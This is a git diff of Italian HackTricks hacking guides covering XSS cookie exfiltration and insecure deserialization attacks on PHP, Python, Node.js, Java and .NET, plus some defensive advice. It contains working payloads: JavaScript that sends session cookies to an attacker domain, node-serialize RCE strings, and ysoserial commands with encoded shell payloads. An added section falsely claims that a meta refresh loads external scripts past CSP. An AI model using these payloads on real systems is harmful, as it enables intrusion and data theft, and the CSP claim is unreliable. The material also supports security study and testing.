@ -715,7 +704,17 @@ var sessionid = document.cookie.split('=')[1]+".";
|
|||
var body = document.getElementsByTagName('body')[0];
|
||||
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
|
||||
```
|
||||
Un altro modo:
|
||||
## Bypassare la policy di sicurezza del contenuto (CSP)
|
||||
|
||||
Il seguente metodo può essere utilizzato per aggirare una Content Security Policy (CSP) che blocca l'esecuzione di script non autorizzati su una pagina web.
|
||||
|
||||
1. **XSS tramite meta refresh**: Utilizzare un attacco XSS per iniettare un tag `<meta>` con un refresh verso un dominio controllato dall'attaccante. Questo permette di caricare script esterni bypassando la CSP.
|
||||
|
||||
```html
|
||||
<meta http-equiv="refresh" content="0;url=https://dominio-dell-attaccante.com/payload.js">
|
||||
```
|
||||
|
||||
Ricorda che l'utilizzo di queste tecniche può essere illegale e dannoso per altri. Utilizzale solo a fini educativi e di ricerca, previa autorizzazione.
|
||||
```javascript
|
||||
const linkEl = document.createElement('link');
|
||||
linkEl.rel = 'prefetch';
|
||||
|
@ -775,7 +774,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
|||
|
||||
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug!
|
||||
|
||||
**Insight sull'Hacking**\
|
||||
**Approfondimenti sull'Hacking**\
|
||||
Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking
|
||||
|
||||
**Notizie sull'Hacking in Tempo Reale**\
|
||||
|
@ -794,8 +793,8 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -26,7 +26,7 @@ La deserializzazione può essere pericolosa perché potenzialmente **permette ag
|
|||
|
||||
In PHP, specifici metodi magici vengono utilizzati durante i processi di serializzazione e deserializzazione:
|
||||
|
||||
* `__sleep`: Invocato quando un oggetto viene serializzato. Questo metodo dovrebbe restituire un array con i nomi di tutte le proprietà dell'oggetto che devono essere serializzate. Viene comunemente utilizzato per confermare i dati in sospeso o eseguire compiti di pulizia simili.
|
||||
* `__sleep`: Invocato quando un oggetto viene serializzato. Questo metodo dovrebbe restituire un array con i nomi di tutte le proprietà dell'oggetto che devono essere serializzate. Viene comunemente utilizzato per salvare dati in sospeso o eseguire compiti di pulizia simili.
|
||||
* `__wakeup`: Chiamato quando un oggetto viene deserializzato. Viene utilizzato per ristabilire eventuali connessioni al database che potrebbero essere state perse durante la serializzazione e per eseguire altre attività di reinizializzazione.
|
||||
* `__unserialize`: Questo metodo viene chiamato al posto di `__wakeup` (se esiste) quando un oggetto viene deserializzato. Fornisce maggiore controllo sul processo di deserializzazione rispetto a `__wakeup`.
|
||||
* `__destruct`: Questo metodo viene chiamato quando un oggetto sta per essere distrutto o quando lo script termina. Viene tipicamente utilizzato per compiti di pulizia, come la chiusura di gestori di file o connessioni al database.
|
||||
|
@ -86,7 +86,7 @@ This is a test<br />
|
|||
*/
|
||||
?>
|
||||
```
|
||||
Se guardi ai risultati, puoi vedere che le funzioni **`__wakeup`** e **`__destruct`** vengono chiamate quando l'oggetto viene deserializzato. Nota che in diversi tutorial troverai che la funzione **`__toString`** viene chiamata quando si cerca di stampare un attributo, ma apparentemente **non succede più**.
|
||||
Se guardi ai risultati, puoi vedere che le funzioni **`__wakeup`** e **`__destruct`** vengono chiamate quando l'oggetto viene deserializzato. Nota che in diversi tutorial troverai che la funzione **`__toString`** viene chiamata quando si cerca di stampare alcuni attributi, ma apparentemente **non succede più**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Il metodo **`__unserialize(array $data)`** viene chiamato **al posto di `__wakeup()`** se è implementato nella classe. Ti consente di deserializzare l'oggetto fornendo i dati serializzati come un array. Puoi utilizzare questo metodo per deserializzare le proprietà ed eseguire eventuali compiti necessari durante la deserializzazione.
|
||||
|
@ -106,7 +106,7 @@ Puoi leggere un **esempio PHP spiegato qui**: [https://www.notsosecure.com/remot
|
|||
|
||||
### PHP Deserial + Autoload Classes
|
||||
|
||||
Potresti abusare della funzionalità di caricamento automatico di PHP per caricare file php arbitrari e altro ancora:
|
||||
Potresti abusare della funzionalità di autoload di PHP per caricare file php arbitrari e altro:
|
||||
|
||||
{% content-ref url="php-deserialization-+-autoload-classes.md" %}
|
||||
[php-deserialization-+-autoload-classes.md](php-deserialization-+-autoload-classes.md)
|
||||
|
@ -130,12 +130,12 @@ $ser=serialize($o);
|
|||
### PHPGGC (ysoserial for PHP)
|
||||
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) può aiutarti a generare payload per abusare delle deserializzazioni PHP.\
|
||||
Nota che in diversi casi **potresti non riuscire a trovare un modo per abusare di una deserializzazione nel codice sorgente** dell'applicazione ma potresti essere in grado di **abusare del codice di estensioni PHP esterne.**\
|
||||
Nota che in diversi casi **potresti non riuscire a trovare un modo per abusare di una deserializzazione nel codice sorgente** dell'applicazione ma potresti essere in grado di **abusare del codice delle estensioni PHP esterne.**\
|
||||
Quindi, se puoi, controlla il `phpinfo()` del server e **cerca su internet** (e anche sui **gadget** di **PHPGGC**) alcuni possibili gadget che potresti abusare.
|
||||
|
||||
### Deserializzazione dei metadati phar://
|
||||
|
||||
Se hai trovato un LFI che sta solo leggendo il file e non eseguendo il codice php al suo interno, ad esempio utilizzando funzioni come _**file\_get\_contents(), fopen(), file() o file\_exists(), md5\_file(), filemtime() o filesize()**_**. Puoi provare ad abusare di una **deserializzazione** che avviene quando si **legge** un **file** utilizzando il protocollo **phar**.\
|
||||
Se hai trovato un LFI che sta solo leggendo il file e non eseguendo il codice PHP al suo interno, ad esempio utilizzando funzioni come _**file\_get\_contents(), fopen(), file() o file\_exists(), md5\_file(), filemtime() o filesize()**_**. Puoi provare ad abusare di una **deserializzazione** che avviene quando si **legge** un **file** utilizzando il protocollo **phar**.\
|
||||
Per ulteriori informazioni leggi il seguente post:
|
||||
|
||||
{% content-ref url="../file-inclusion/phar-deserialization.md" %}
|
||||
|
@ -163,7 +163,7 @@ Per ulteriori informazioni sull'uscita dalle **carceri pickle**, controlla:
|
|||
|
||||
### Yaml **&** jsonpickle
|
||||
|
||||
La seguente pagina presenta la tecnica per **abusare di una deserializzazione non sicura nelle librerie python yamls** e si conclude con uno strumento che può essere utilizzato per generare un payload di deserializzazione RCE per **Pickle, PyYAML, jsonpickle e ruamel.yaml**:
|
||||
La seguente pagina presenta la tecnica per **abusare della deserializzazione non sicura nelle librerie python yamls** e si conclude con uno strumento che può essere utilizzato per generare un payload di deserializzazione RCE per **Pickle, PyYAML, jsonpickle e ruamel.yaml**:
|
||||
|
||||
{% content-ref url="python-yaml-deserialization.md" %}
|
||||
[python-yaml-deserialization.md](python-yaml-deserialization.md)
|
||||
|
@ -237,27 +237,27 @@ All'interno del file `node-serialize/lib/serialize.js` puoi trovare lo stesso fl
|
|||
|
||||
![](<../../.gitbook/assets/image (446).png>)
|
||||
|
||||
Come puoi vedere nell'ultimo pezzo di codice, **se il flag viene trovato** viene utilizzato `eval` per deserializzare la funzione, quindi in pratica **l'input dell'utente viene utilizzato all'interno della funzione `eval`**.
|
||||
Come puoi vedere nell'ultimo pezzo di codice, **se il flag viene trovato** viene utilizzato `eval` per deserializzare la funzione, quindi in sostanza **l'input dell'utente viene utilizzato all'interno della funzione `eval`**.
|
||||
|
||||
Tuttavia, **semplicemente serializzare** una funzione **non la eseguirà** poiché sarebbe necessario che una parte del codice stia **chiamando `y.rce`** nel nostro esempio e questo è altamente **improbabile**.\
|
||||
In ogni caso, potresti semplicemente **modificare l'oggetto serializzato** **aggiungendo delle parentesi** per eseguire automaticamente la funzione serializzata quando l'oggetto viene deserializzato.\
|
||||
In ogni caso, potresti **modificare l'oggetto serializzato** **aggiungendo delle parentesi** in modo da eseguire automaticamente la funzione serializzata quando l'oggetto viene deserializzato.\
|
||||
Nel prossimo pezzo di codice **nota l'ultima parentesi** e come la funzione `unserialize` eseguirà automaticamente il codice:
|
||||
```javascript
|
||||
var serialize = require('node-serialize');
|
||||
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
|
||||
serialize.unserialize(test);
|
||||
```
|
||||
Come precedentemente indicato, questa libreria otterrà il codice dopo `_$$ND_FUNC$$_` e lo **eseguirà** utilizzando `eval`. Pertanto, per **eseguire automaticamente il codice** è possibile **eliminare la parte di creazione della funzione** e l'ultima parentesi e **eseguire semplicemente un oneliner JS** come nell'esempio seguente:
|
||||
Come precedentemente indicato, questa libreria prenderà il codice dopo `_$$ND_FUNC$$_` e lo **eseguirà** utilizzando `eval`. Pertanto, per **eseguire automaticamente il codice** è possibile **eliminare la parte di creazione della funzione** e l'ultima parentesi e **eseguire semplicemente un oneliner JS** come nell'esempio seguente:
|
||||
```javascript
|
||||
var serialize = require('node-serialize');
|
||||
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
|
||||
serialize.unserialize(test);
|
||||
```
|
||||
Puoi [**trovare qui**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **ulteriori informazioni** su come sfruttare questa vulnerabilità.
|
||||
Puoi trovare [**qui**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **ulteriori informazioni** su come sfruttare questa vulnerabilità.
|
||||
|
||||
### [funcster](https://www.npmjs.com/package/funcster)
|
||||
|
||||
Un aspetto degno di nota di **funcster** è l'inaccessibilità degli **oggetti incorporati standard**; essi cadono al di fuori dell'ambito accessibile. Questa restrizione impedisce l'esecuzione di codice che tenta di invocare metodi sugli oggetti incorporati, portando a eccezioni come `"ReferenceError: console non è definito"` quando vengono utilizzati comandi come `console.log()` o `require(something)`.
|
||||
Un aspetto degno di nota di **funcster** è l'inaccessibilità degli **oggetti incorporati standard**; essi cadono al di fuori dello scope accessibile. Questa restrizione impedisce l'esecuzione di codice che tenta di invocare metodi sugli oggetti incorporati, portando a eccezioni come `"ReferenceError: console non è definito"` quando vengono utilizzati comandi come `console.log()` o `require(something)`.
|
||||
|
||||
Nonostante questa limitazione, il ripristino dell'accesso completo al contesto globale, compresi tutti gli oggetti incorporati standard, è possibile attraverso un approccio specifico. Sfruttando direttamente il contesto globale, è possibile aggirare questa restrizione. Ad esempio, l'accesso può essere ripristinato utilizzando il seguente snippet:
|
||||
```javascript
|
||||
|
@ -320,7 +320,7 @@ Per identificare potenziali vulnerabilità di serializzazione nel codice, cerca:
|
|||
Presta particolare attenzione a:
|
||||
|
||||
* `XMLDecoder` utilizzato con parametri definiti da utenti esterni.
|
||||
* Il metodo `fromXML` di `XStream`, specialmente se la versione di XStream è inferiore o uguale a 1.46, poiché è suscettibile a problemi di serializzazione.
|
||||
* Metodo `fromXML` di `XStream`, specialmente se la versione di XStream è inferiore o uguale a 1.46, poiché è suscettibile a problemi di serializzazione.
|
||||
* `ObjectInputStream` accoppiato con il metodo `readObject`.
|
||||
* Implementazione di metodi come `readObject`, `readObjectNodData`, `readResolve` o `readExternal`.
|
||||
* `ObjectInputStream.readUnshared`.
|
||||
|
@ -352,7 +352,7 @@ grep -R InvokeTransformer .
|
|||
```
|
||||
Potresti provare a **verificare tutte le librerie** note per essere vulnerabili e per le quali [**Ysoserial**](https://github.com/frohoff/ysoserial) può fornire un exploit. Oppure potresti controllare le librerie indicate su [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
|
||||
Puoi anche utilizzare [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) per cercare possibili catene di gadget che possono essere sfruttate.\
|
||||
Quando esegui **gadgetinspector** (dopo averlo compilato) non preoccuparti dei numerosi avvertimenti/errori che sta attraversando e lascialo terminare. Scriverà tutte le scoperte in _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Si noti che **gadgetinspector non creerà un exploit e potrebbe indicare falsi positivi**.
|
||||
Quando esegui **gadgetinspector** (dopo averlo compilato), non preoccuparti dei numerosi avvertimenti/errori che possono comparire e lascialo completare. Scriverà tutte le scoperte in _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Si noti che **gadgetinspector non creerà un exploit e potrebbe indicare falsi positivi**.
|
||||
|
||||
#### Test Black Box
|
||||
|
||||
|
@ -360,24 +360,24 @@ Utilizzando l'estensione Burp [**gadgetprobe**](java-dns-deserialization-and-gad
|
|||
[**Leggi questo per saperne di più su GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||||
GadgetProbe è focalizzato sulle **deserializzazioni di `ObjectInputStream`**.
|
||||
|
||||
Utilizzando l'estensione Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) puoi **identificare librerie vulnerabili** sfruttabili con ysoserial e **sfruttarle**.\
|
||||
Utilizzando l'estensione Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) puoi **identificare le librerie vulnerabili** sfruttabili con ysoserial e **sfruttarle**.\
|
||||
[**Leggi questo per saperne di più su Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||||
Java Deserialization Scanner è focalizzato sulle deserializzazioni di **`ObjectInputStream`**.
|
||||
|
||||
Puoi anche utilizzare [**Freddy**](https://github.com/nccgroup/freddy) per **rilevare vulnerabilità di deserializzazione** in **Burp**. Questo plugin rileverà vulnerabilità non solo correlate a **`ObjectInputStream`** ma anche vulnerabilità da librerie di deserializzazione **Json** e **Yml**. In modalità attiva, cercherà di confermarle utilizzando payload di sleep o DNS.\
|
||||
Puoi anche utilizzare [**Freddy**](https://github.com/nccgroup/freddy) per **individuare vulnerabilità di deserializzazione** in **Burp**. Questo plugin rileverà vulnerabilità non solo correlate a **`ObjectInputStream`** ma anche vulnerabilità da librerie di deserializzazione **Json** e **Yml**. In modalità attiva, cercherà di confermarle utilizzando payload di sleep o DNS.\
|
||||
[**Puoi trovare ulteriori informazioni su Freddy qui.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||
|
||||
**Test di Serializzazione**
|
||||
|
||||
Non si tratta solo di verificare se il server utilizza una libreria vulnerabile. A volte potresti essere in grado di **modificare i dati all'interno dell'oggetto serializzato e bypassare alcuni controlli** (forse ottenere privilegi di amministratore all'interno di un'applicazione web).\
|
||||
Se trovi un oggetto serializzato Java inviato a un'applicazione web, **puoi utilizzare** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **per stampare in un formato più leggibile dall'essere umano l'oggetto serializzato che viene inviato**. Sapere quali dati stai inviando renderebbe più facile modificarli e bypassare alcuni controlli.
|
||||
Se trovi un oggetto serializzato Java inviato a un'applicazione web, **puoi utilizzare** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **per stampare in un formato più leggibile per l'utente l'oggetto serializzato che viene inviato**. Sapere quali dati stai inviando renderebbe più facile modificarli e bypassare alcuni controlli.
|
||||
|
||||
### **Sfruttare**
|
||||
|
||||
#### **ysoserial**
|
||||
|
||||
Lo strumento principale per sfruttare le deserializzazioni Java è [**ysoserial**](https://github.com/frohoff/ysoserial) ([**scarica qui**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Puoi anche considerare l'uso di [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) che ti consentirà di utilizzare comandi complessi (con pipe, ad esempio).\
|
||||
Si noti che questo strumento è **centrato** sull'esplorazione di **`ObjectInputStream`**.\
|
||||
Si noti che questo strumento è **centrato** sull'exploit di **`ObjectInputStream`**.\
|
||||
Inizierei usando il payload "URLDNS" **prima di un payload RCE** per testare se l'iniezione è possibile. Comunque, si noti che forse il payload "URLDNS" non funziona ma funziona un altro payload RCE.
|
||||
```bash
|
||||
# PoC to make the application perform a DNS req
|
||||
|
@ -423,7 +423,7 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
|
|||
# Base64 encode payload in base64
|
||||
base64 -w0 payload
|
||||
```
|
||||
Quando si crea un payload per **java.lang.Runtime.exec()** non è possibile utilizzare caratteri speciali come ">" o "|" per reindirizzare l'output di un'esecuzione, "$()" per eseguire comandi o anche **passare argomenti** a un comando separati da **spazi** (puoi fare `echo -n "hello world"` ma non puoi fare `python2 -c 'print "Hello world"'`). Per codificare correttamente il payload potresti [utilizzare questa pagina web](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
||||
Quando si crea un payload per **java.lang.Runtime.exec()** non è possibile utilizzare caratteri speciali come ">" o "|" per reindirizzare l'output di un'esecuzione, "$()" per eseguire comandi o addirittura **passare argomenti** a un comando separati da **spazi** (puoi fare `echo -n "hello world"` ma non puoi fare `python2 -c 'print "Hello world"'`). Per codificare correttamente il payload potresti [utilizzare questa pagina web](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
||||
|
||||
Sentiti libero di utilizzare lo script seguente per creare **tutti i possibili payload di esecuzione del codice** per Windows e Linux e poi testarli sulla pagina web vulnerabile:
|
||||
```python
|
||||
|
@ -453,7 +453,7 @@ Puoi **utilizzare** [**https://github.com/pwntester/SerialKillerBypassGadgetColl
|
|||
#### marshalsec
|
||||
|
||||
[**marshalsec**](https://github.com/mbechler/marshalsec) può essere utilizzato per generare payload per sfruttare diverse librerie di serializzazione **Json** e **Yml** in Java.\
|
||||
Per compilare il progetto ho dovuto **aggiungere** queste **dipendenze** al `pom.xml`:
|
||||
Per compilare il progetto ho dovuto **aggiungere** queste **dipendenze** al file `pom.xml`:
|
||||
```markup
|
||||
<dependency>
|
||||
<groupId>javax.activation</groupId>
|
||||
|
@ -486,7 +486,7 @@ Per saperne di più su questa libreria JSON Java: [https://www.alphabot.com/secu
|
|||
|
||||
Java utilizza molto la serializzazione per vari scopi come:
|
||||
|
||||
* **Richieste HTTP**: La serializzazione è ampiamente impiegata nella gestione dei parametri, ViewState, cookie, ecc.
|
||||
* **Richieste HTTP**: La serializzazione è ampiamente impiegata nella gestione di parametri, ViewState, cookie, ecc.
|
||||
* **RMI (Remote Method Invocation)**: Il protocollo Java RMI, che si basa interamente sulla serializzazione, è un pilastro per la comunicazione remota nelle applicazioni Java.
|
||||
* **RMI su HTTP**: Questo metodo è comunemente utilizzato dalle applicazioni web client Java-based spesse, utilizzando la serializzazione per tutte le comunicazioni degli oggetti.
|
||||
* **JMX (Java Management Extensions)**: JMX utilizza la serializzazione per la trasmissione di oggetti sulla rete.
|
||||
|
@ -518,7 +518,7 @@ throw new java.io.IOException("Cannot be deserialized");
|
|||
* Il codice di deserializzazione è sotto il tuo controllo.
|
||||
* Le classi previste per la deserializzazione sono conosciute.
|
||||
|
||||
Sovrascrivere il metodo **`resolveClass()`** per limitare la deserializzazione solo alle classi consentite. Ciò impedisce la deserializzazione di qualsiasi classe tranne quelle esplicitamente autorizzate, come nell'esempio seguente che limita la deserializzazione solo alla classe `Bicycle`:
|
||||
Sovrascrivere il metodo **`resolveClass()`** per limitare la deserializzazione solo alle classi consentite. Questo impedisce la deserializzazione di qualsiasi classe tranne quelle esplicitamente autorizzate, come nell'esempio seguente che limita la deserializzazione solo alla classe `Bicycle`:
|
||||
```java
|
||||
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
|
||||
public class LookAheadObjectInputStream extends ObjectInputStream {
|
||||
|
@ -539,7 +539,7 @@ return super.resolveClass(desc);
|
|||
}
|
||||
}
|
||||
```
|
||||
**Utilizzo di un Java Agent per il Potenziamento della Sicurezza** offre una soluzione di riserva quando la modifica del codice non è possibile. Questo metodo si applica principalmente per **mettere in blacklist classi dannose**, utilizzando un parametro JVM:
|
||||
**Utilizzo di un Java Agent per il potenziamento della sicurezza** offre una soluzione alternativa quando la modifica del codice non è possibile. Questo metodo si applica principalmente per **mettere in blacklist classi dannose**, utilizzando un parametro JVM:
|
||||
```
|
||||
-javaagent:name-of-agent.jar
|
||||
```
|
||||
|
@ -561,7 +561,7 @@ return Status.ALLOWED;
|
|||
};
|
||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
```
|
||||
**Sfruttare le librerie esterne per una sicurezza avanzata**: Le librerie come **NotSoSerial**, **jdeserialize** e **Kryo** offrono funzionalità avanzate per controllare e monitorare la deserializzazione Java. Queste librerie possono fornire ulteriori livelli di sicurezza, come la creazione di liste bianche o nere di classi, l'analisi degli oggetti serializzati prima della deserializzazione e l'implementazione di strategie di serializzazione personalizzate.
|
||||
**Sfruttare le librerie esterne per una sicurezza avanzata**: Librerie come **NotSoSerial**, **jdeserialize** e **Kryo** offrono funzionalità avanzate per controllare e monitorare la deserializzazione Java. Queste librerie possono fornire ulteriori livelli di sicurezza, come la creazione di liste bianche o nere di classi, l'analisi degli oggetti serializzati prima della deserializzazione e l'implementazione di strategie di serializzazione personalizzate.
|
||||
|
||||
* **NotSoSerial** intercetta i processi di deserializzazione per impedire l'esecuzione di codice non attendibile.
|
||||
* **jdeserialize** consente l'analisi degli oggetti Java serializzati senza deserializzarli, aiutando a identificare contenuti potenzialmente dannosi.
|
||||
|
@ -602,10 +602,10 @@ Ci sono diversi prodotti che utilizzano questo middleware per inviare messaggi:
|
|||
|
||||
### Sfruttamento
|
||||
|
||||
In sostanza, ci sono **molti servizi che utilizzano JMS in modo pericoloso**. Pertanto, se si hanno **privilegi sufficienti** per inviare messaggi a questi servizi (di solito sarà necessario avere credenziali valide) potresti essere in grado di inviare **oggetti maliziosi serializzati che verranno deserializzati dal consumatore/abbonato**.\
|
||||
In sostanza, ci sono **molti servizi che utilizzano JMS in modo pericoloso**. Pertanto, se si hanno **privilegi sufficienti** per inviare messaggi a questi servizi (di solito saranno necessarie credenziali valide), potresti essere in grado di inviare **oggetti maliziosi serializzati che verranno deserializzati dal consumatore/abbonato**.\
|
||||
Ciò significa che in questa forma di sfruttamento tutti i **client che utilizzeranno quel messaggio verranno infettati**.
|
||||
|
||||
Ricorda che anche se un servizio è vulnerabile (perché deserializza in modo non sicuro l'input dell'utente) è comunque necessario trovare gadget validi per sfruttare la vulnerabilità.
|
||||
Ricorda che anche se un servizio è vulnerabile (perché deserializza in modo non sicuro l'input dell'utente), è comunque necessario trovare gadget validi per sfruttare la vulnerabilità.
|
||||
|
||||
Lo strumento [JMET](https://github.com/matthiaskaiser/jmet) è stato creato per **connettersi e attaccare questi servizi inviando diversi oggetti maliziosi serializzati utilizzando gadget conosciuti**. Questi exploit funzioneranno se il servizio è ancora vulnerabile e se uno qualsiasi dei gadget utilizzati è presente nell'applicazione vulnerabile.
|
||||
|
||||
|
@ -626,29 +626,29 @@ Il codice sorgente dovrebbe essere ispezionato per individuare:
|
|||
1. `TypeNameHandling`
|
||||
2. `JavaScriptTypeResolver`
|
||||
|
||||
L'attenzione dovrebbe essere rivolta ai serializzatori che permettono di determinare il tipo tramite una variabile controllata dall'utente.
|
||||
L'attenzione dovrebbe essere sui serializzatori che permettono di determinare il tipo tramite una variabile controllata dall'utente.
|
||||
|
||||
#### BlackBox
|
||||
|
||||
La ricerca dovrebbe mirare alla stringa codificata in Base64 **AAEAAAD/////** o a qualsiasi pattern simile che potrebbe subire una deserializzazione lato server, concedendo il controllo sul tipo da deserializzare. Ciò potrebbe includere, ma non è limitato a, strutture **JSON** o **XML** che presentano `TypeObject` o `$type`.
|
||||
La ricerca dovrebbe mirare alla stringa codificata in Base64 **AAEAAAD/////** o a qualsiasi pattern simile che potrebbe subire una deserializzazione lato server, concedendo il controllo sul tipo da deserializzare. Questo potrebbe includere, ma non è limitato a, strutture **JSON** o **XML** che presentano `TypeObject` o `$type`.
|
||||
|
||||
### ysoserial.net
|
||||
|
||||
In questo caso puoi utilizzare lo strumento [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) per **creare gli exploit di deserializzazione**. Una volta scaricata la repository git, dovresti **compilare lo strumento** utilizzando ad esempio Visual Studio.
|
||||
|
||||
Se desideri apprendere **come ysoserial.net crea il suo exploit** puoi [**consultare questa pagina dove viene spiegato il gadget ObjectDataProvider + ExpandedWrapper + formattatore Json.Net**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
||||
Se vuoi sapere **come ysoserial.net crea il suo exploit** puoi [**consultare questa pagina dove viene spiegato il gadget ObjectDataProvider + ExpandedWrapper + formattatore Json.Net**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
||||
|
||||
Le principali opzioni di **ysoserial.net** sono: **`--gadget`**, **`--formatter`**, **`--output`** e **`--plugin`.**
|
||||
|
||||
* **`--gadget`** utilizzato per indicare il gadget da sfruttare (indica la classe/funzione che verrà sfruttata durante la deserializzazione per eseguire comandi).
|
||||
* **`--formatter`**, utilizzato per indicare il metodo per serializzare l'exploit (è necessario sapere quale libreria viene utilizzata sul back-end per deserializzare il payload e utilizzarla per serializzarlo)
|
||||
* **`--output`** utilizzato per indicare se si desidera l'exploit in formato **raw** o codificato in **base64**. _Nota che **ysoserial.net** codificherà il payload utilizzando **UTF-16LE** (codifica utilizzata per impostazione predefinita su Windows) quindi se si ottiene il raw e lo si codifica da una console Linux potrebbero verificarsi alcuni **problemi di compatibilità di codifica** che impediranno all'exploit di funzionare correttamente (nella casella JSON HTB il payload ha funzionato sia in UTF-16LE che in ASCII ma ciò non significa che funzionerà sempre)._
|
||||
* **`--output`** utilizzato per indicare se si desidera l'exploit in formato **raw** o codificato in **base64**. _Nota che **ysoserial.net** codificherà il payload utilizzando **UTF-16LE** (codifica utilizzata per impostazione predefinita su Windows) quindi se si ottiene il raw e lo si codifica da una console Linux potrebbero sorgere alcuni **problemi di compatibilità di codifica** che impediranno all'exploit di funzionare correttamente (nella casella JSON HTB il payload ha funzionato sia in UTF-16LE che in ASCII ma ciò non significa che funzionerà sempre)._
|
||||
* **`--plugin`** ysoserial.net supporta plugin per creare **exploit per framework specifici** come ViewState
|
||||
|
||||
#### Altri parametri di ysoserial.net
|
||||
|
||||
* `--minify` fornirà un **payload più piccolo** (se possibile)
|
||||
* `--raf -f Json.Net -c "qualsiasi cosa"` Questo indicherà tutti i gadget che possono essere utilizzati con un formattatore fornito (`Json.Net` in questo caso)
|
||||
* `--raf -f Json.Net -c "anything"` Questo indicherà tutti i gadget che possono essere utilizzati con un formattatore fornito (`Json.Net` in questo caso)
|
||||
* `--sf xml` puoi **indicare un gadget** (`-g`) e ysoserial.net cercherà formattatori contenenti "xml" (senza distinzione tra maiuscole e minuscole)
|
||||
|
||||
Esempi di **ysoserial** per creare exploit:
|
||||
|
@ -671,7 +671,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand S
|
|||
```
|
||||
**ysoserial.net** ha anche un **parametro molto interessante** che aiuta a capire meglio come funziona ogni exploit: `--test`\
|
||||
Se si indica questo parametro, **ysoserial.net** proverà l'**exploit localmente**, in modo da poter testare se il payload funzionerà correttamente.\
|
||||
Questo parametro è utile perché se si esamina il codice, si troveranno porzioni di codice come la seguente (da [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||||
Questo parametro è utile perché se si esamina il codice, si troveranno porzioni di codice come il seguente (da [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||||
```java
|
||||
if (inputArgs.Test)
|
||||
{
|
||||
|
@ -696,7 +696,7 @@ TypeNameHandling = TypeNameHandling.Auto
|
|||
return obj;
|
||||
}
|
||||
```
|
||||
Il **codice precedente è vulnerabile all'exploit creato**. Quindi se trovi qualcosa di simile in un'applicazione .Net significa che probabilmente anche quell'applicazione è vulnerabile.\
|
||||
Il **codice precedente è vulnerabile all'exploit creato**. Quindi, se trovi qualcosa di simile in un'applicazione .Net, significa che probabilmente anche quell'applicazione è vulnerabile.\
|
||||
Pertanto il parametro **`--test`** ci permette di capire **quali parti di codice sono vulnerabili** all'exploit di deserializzazione che può creare **ysoserial.net**.
|
||||
|
||||
### ViewState
|
||||
|
